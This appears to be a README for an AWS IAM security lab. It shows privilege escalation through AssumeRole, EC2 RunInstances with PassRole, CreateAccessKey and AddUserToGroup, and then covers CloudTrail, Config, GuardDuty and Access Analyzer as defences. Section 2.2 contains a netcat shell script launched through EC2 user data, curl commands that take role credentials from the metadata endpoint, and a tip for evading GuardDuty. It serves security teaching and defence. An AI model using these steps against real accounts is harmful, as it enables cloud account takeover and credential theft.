AWS IAM Security
This repository demonstrates common AWS IAM security vulnerabilities and privilege escalation techniques through hands-on examples. You will learn how seemingly harmless IAM configurations can lead to complete account compromise, and more importantly, how to prevent these security gaps
1. Users vs Roles vs User Groups
We will first investigate the difference between Users, Roles, and User Groups
1.1 User Groups
User Groups are like a folder for IAM users. You can add users to that folder then attach permission policies to it. Any user in the group automatically gets those permissions. This way you can manage access for many users at once.
First, we will see the IAM - User Group Dashboard. Currently we did not create any group yet.
We will create an “IAM Management” user group, where IT service department (imaginary) can help you with the account creation and troubleshooting.
Here, I assigned all the permissions except the Root password create, delete, and audit permission. Since the IT department should not have the control of root but left the “IAM Full Access” permission which can be misused. (Will be exploited later in the lab)
1.2 Users
Users are account for a person or an application. You give it a name and credentials (a password or access keys) so it can sign in or call AWS services. You can attach permission policies to that user to grant it the rights it needs.
We will create an account called iam-service, so helpdesk professionals can use this account to resolve account troubleshooting.
We will assign the “IAM-Management” permission which we created earlier. We will demonstrate the privilege escalation later using this account
Now we can review the new user detail and create it.
1.3 Roles
Roles are job description you hand out on demand. Instead of a long lived user account with its own password or keys, a role has a set of permissions that anyone with the given permission can “assume” it and get the privilege temporarily.
Select the type of role, you want to create. AWS service is a service account used for particular service such as EC2. Since we are going to use it for temporary permission assigning, we will select AWS account.
Assign the permission that you want to allow the role to have. Here, I will give “AdministratorAccess” to the role I’m creating
I gave the name “AdminAccess” which is gonna be used by my “test-user” to gain admin privilege
Currently there’s no permission assigned to “test user”. Now we are going to click “Add permissions” -> “Create inline policy” to assign the “AdminAccess” role privilege.
Here we will use json schema, then give “sts::AssumeRole” permission inside “Action”, ARN of the role we want to use in the “Resource” section.
Here is the sample json schema:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::{aws account id}:role/AdminAccess"
}
]
}
Next we will give the name of the inline policy (AssumeRole inline policy) as “TempAdminAccess”. Create policy to give AdminAccess role access to the test user.
We login as “test user” now. We can see we do not have any permission to view or modify in IAM dashboard, hence we will switch to “AdminAccess” role to gain privilege.
Click the top-right corner which displays the username @ account. Then select “Switch Role” to use “AssumeRole” privilege.
Fill in the correct account info, role name then confirm to switch to “AdminAccess” role
If you do not have “AssumeRole” policy in your user account, you will see this error above!
Now we have the “AdminAccess” role privilege, so let’s goto IAM dashboard again to check if we got access
We can see IAM dashboard now!
2. Exploits
2.1 IAM Privilege Escalation - sts::AssumeRole
Above, we gave IAM Management User Group with Full IAM Permission as IT department may need to troubleshoot with employee account, and to resolve, various IAM permission is required. However, giving full IAM Access is dangerous as we can escalate privilege to root using AssumeRole or other privileges.
Here we will self assign privilege using the “IAM Management” group privilege we created.
We have a scenario where the IT service department want to access cloudtrail for curiousity, but they do not have permission to access it
Goto own user profile (iam service) then “Add permission” -> “Create inline policy”
Give “sts::AssumeRole” permission inside “Action”, ARN of the role we want to use in the “Resource” section. We did this before
Assign the policy name to itself. (You can name whatever you want! Since this is a lab)
Click “Switch role” or if you have already have role registered, switch it Refer here if you do not understand
On the top-right, you can see we have successfully switched to “AdminAccess” role. You can now access CloudTrail as we got the administrative privilege.
2.2 EC2 Privilege Escalation - ec2::RunInstances and iam::PassRole
We will show how to escalate privilege using EC2 RunInstance and PassRole permission. This is a common attack vector where an attacker can launch an EC2 instance with a role that has more permissions than the user currently has.
First, we will create a user called “hacker” with the ec2::RunInstance and iam::PassRole permission.
Make a script called malicious.sh with the following content:
#!/bin/bash
sudo busybox nc -lp 80 -e /bin/bash
You need to know the security group name that allows inbound traffic on port 80. In this case, we will use “Default Web” security group which allows inbound traffic on port 80.
This script will open a reverse shell on port 80, allowing the attacker to connect to the instance.
aws ec2 run-instances --image-id <machine image or operating system used by the system> --instance-type t2.micro --iam-instance-profile Name=<IAM role for EC2> --user-data file://malicious.sh --security-groups "Default Web" --profile hacker
After running the above command, you will have a new EC2 instance running with the malicious script. The attacker can now get a reverse shell by connecting to the instance on port 80.
Connect to port 80 of the EC2 instance to get a reverse shell. Then extract the credentials from the metadata endpoint using the command:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Get the role name
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract the credentials
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
Using the credentials extracted from the metadata, the attacker can use the AWS API key in aws cli to be used for enumeration and exploit.
However, the above method is not recommended as it can be detected by AWS GuardDuty. Instead, you can enumerate directly using the reverse shell or ssh into the instance.
2.3 IAM Privilege Escalation - iam::CreateAccessKey
Here we will give “test-user” the create access key permission so that it can create the access keys for other users.
Next, we will create a “target” user that has higher privilege than the “test-user”
aws iam create-access-key --user-name target --profile test-user
After using the command for the “target” user, we will get the access and secret key for “target”
Finally we will verify the user of the access key after configuring to aws cli aws configure --profile target
We can verify the identity of target through the command:
aws sts get-caller-identity --profile target
After that we can get the “target” identity
2.4 IAM Privilege Escalation - iam::AddUserToGroup
Here we will give “test-user” the “add user to group” permission so that it can assign the group to users.
We can see the test-user do not have any group assigned
Let’s use the command below:
aws iam add-user-to-group --group-name AdminGroup --user-name test-user --profile test-user
After that we can see “AdminGroup” assigned to “test-user”
3. Mitigations
3.1 AWS CloudTrail
CloudTrail is AWS audit logging service that records all API calls and administrative actions in your AWS account. You can use this record to search for any security detection and investigations.
Create a trail workflow in order to record the logs. After creating the trail, you can log and view all the logs happen after that.
You can detect sts::AssumeRole by searching for switchrole in cloudtrail. If you click the event, you can get further information in detail.
Here you can get the event information such as ip address of the source, instance/resource it used, the user/role it used for the access, the web browser information (user-agent) used to connect to the instance.
3.2 AWS Config
AWS Config is a compliance monitoring service that continuously tracks your AWS resource configurations and evaluates them against security best practices. Config warns you about dangerous configurations before they can be exploited.
First, we need to enable AWS Config to monitor IAM resources. Start the configuration process to track IAM policies, roles, and users.
AWS Config provides managed rules specifically for IAM security (There’s others, but I specifically filtered the rules for IAM).
Review the configuration settings before enabling Config. This will start monitoring all changes to your IAM resources and evaluate them against compliance rules automatically.
The compliance dashboard shows which IAM resources violate security best practices. Here it shows I got few IAM bad practices such as password weakness, inline policy for AssumeRole.
3.3 AWS GuardDuty
AWS GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts, workloads, and data. GuardDuty finds threats by analyzing AWS CloudTrail event logs, VPC Flow Logs, and DNS logs.
First, enable GuardDuty. Then goto “Runtime Monitoring” to configure the service to monitor EC2 instances.
Next, you need to enable VPC Flow Logs to monitor network traffic. This is required for GuardDuty to analyze network activity and detect threats.
The GuardDuty dashboard shows the status of your threat detection setup. It will start monitoring your instances and network traffic for suspicious activity.
3.3.1 Running Nmap for Ping Sweep
Let’s say your instance is compromised and the attacker is trying to scan your network using Nmap. GuardDuty will detect this malicious activity.
nmap -sn <target-ip>/<cidr>
GuardDuty will alert you about the Nmap scan attempt. You can see the details of the detection.
You can see the specific details of the Nmap scan, including the instance, hacker details, and the process used for the attack. This helps you understand the attacker’s intent and take appropriate action.
3.3.2 Unusual API Calls from unusual IP
If an attacker is using the compromised instance to make unusual API calls, GuardDuty will also detect this. For example, you can extract the EC2 instance credentials from the metadata using the command curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>. This can extract the temporary role credentials used by the instance.
Using these credentials, the attacker can use the AWS CLI to make API calls. For example, they can start enumerating IAM users:
aws iam list-users --profile <role-name>
Using the credentials extracted from the metadata, the attacker can use the AWS API key to enumerate IAM users and perform other actions. GuardDuty will detect this unusual activity.
You need to extract the credentials from the metadata endpoint and use them in different endpoint to make API calls to trigger GuardDuty detection.
GuardDuty will alert you about the unusual API calls made from the compromised instance. You can see the details of the detection, including the specific API calls made and the instance involved.
3.4 AWS IAM Access Analyzer
AWS IAM Access Analyzer helps you identify resources in your account that are shared with other AWS accounts or is unused.
First, you need to create an Access Analyzer. “Unused access analyzer” will identify resources that are not being used.
Next, you can see the dashboard of the unused access analyzer.
The unused password shows the accounts that have not been used for the set period of time which we configured it for 3 days.
We can see all the unused permission by admin account. This is useful to identify unused permissions that can be removed to reduce the attack surface
You can see the permission recommendation for the admin account to remove unused permissions.